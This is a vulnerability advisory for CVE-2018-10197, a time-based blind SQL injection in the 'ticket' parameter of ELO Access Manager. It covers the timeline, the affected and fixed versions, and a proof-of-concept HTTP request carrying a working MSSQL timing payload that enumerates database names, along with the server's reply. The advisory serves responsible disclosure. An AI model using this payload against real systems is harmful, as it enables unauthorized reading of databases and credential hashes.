Title: ====== ELO (Elektronischer Leitz-Ordner) 9/10 - Time-Based blind SQL injection Researcher: ======= Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG CVE-ID: ======= CVE-2018-10197 Risk Information: ================= CVSS Base Score: 7.5 CVSS Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:POC/RL:OF/RC:C Impact Subscore: 6.4 Exploitability Subscore: 10.0 CVSS Temporal Score: 5.9 Overall CVSS Score: 5.9 Timeline: ========= 2018-04-06 Vulnerability discovered 2018-04-06 Asked vendor for security contact 2018-04-09 Send details to the vendor 2018-04-10 Flaw was approved and fixed in a new version 2018-07-10 Public disclosure Affected Products: ================== ELOenterprise 10 (ELO Access Manager <= 10.17.120) ELOenterprise 9 (ELO Access Manager <= 9.17.120) ELOprofessional 10 (ELO Access Manager <= 10.17.120) ELOprofessional 9 (ELO Access Manager <= 9.17.120) Vendor Homepage: ================ https://www.elo.com/en-de/ Details: ======== ELO is a commercial software product for managing documents and electronic content. Storage and organization is similar to classic paper-based document management. ELO belongs to the category of document management (DMS) and enterprise content management systems (ECM). DMS and ECM systems enable audit-proof archiving of documents and information requiring storage. We have discovered a time-based blind SQL injection vulnerability in the ELO Access Manager (<= 9.17.120 and <= 10.17.120) component that makes it possible to read all database content. The vulnerability exists in the HTTP GET parameter "ticket". For example, we succeeded in reading the password hash of the administrator user in the "userdata" table from the "eloam" database. Proof of Concept: ================= GET /wf-NAME/social/api/feed/aggregation/201803310000?ticket=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' IF(UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 7 name FROM master..sysdatabases ORDER BY name) ORDER BY name),5,1))>104) WAITFOR DELAY '0:0:1'-- qvAV&after=1523013041889&lang=de&_dc=1523013101769 HTTP/1.1 Accept-Encoding: gzip,deflate Connection: close Accept: */* Host: server:9090 Referer: http://server:9090/wf-NAME/social/api/feed/aggregation/201803310000 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv: 59.0) Gecko/20100101 Firefox/59.0 HTTP/1.1 401 Unauthorized Server: Apache-Coyote/1.1 Content-Type: application/json;charset=UTF-8 Content-Length: 410 Date: Fri, 06 Apr 2018 11:57:15 GMT Connection: close {"error":{"code":401,"message":"[TICKET:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\u0027 IF(UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 7 name FROM master..sysdatabases ORDER BY name) ORDER BY name),5,1))\u003e104) WAITFOR DELAY \u00270][ELOIX:2001]Sitzungskennung ung..ltig oder abgelaufen. Melden Sie sich neu an.[NO-DETAILS]"}} Fix: ==== Customers can optain the fixed versions 9.18.040 and 10.18.040 in ELO SupportWeb.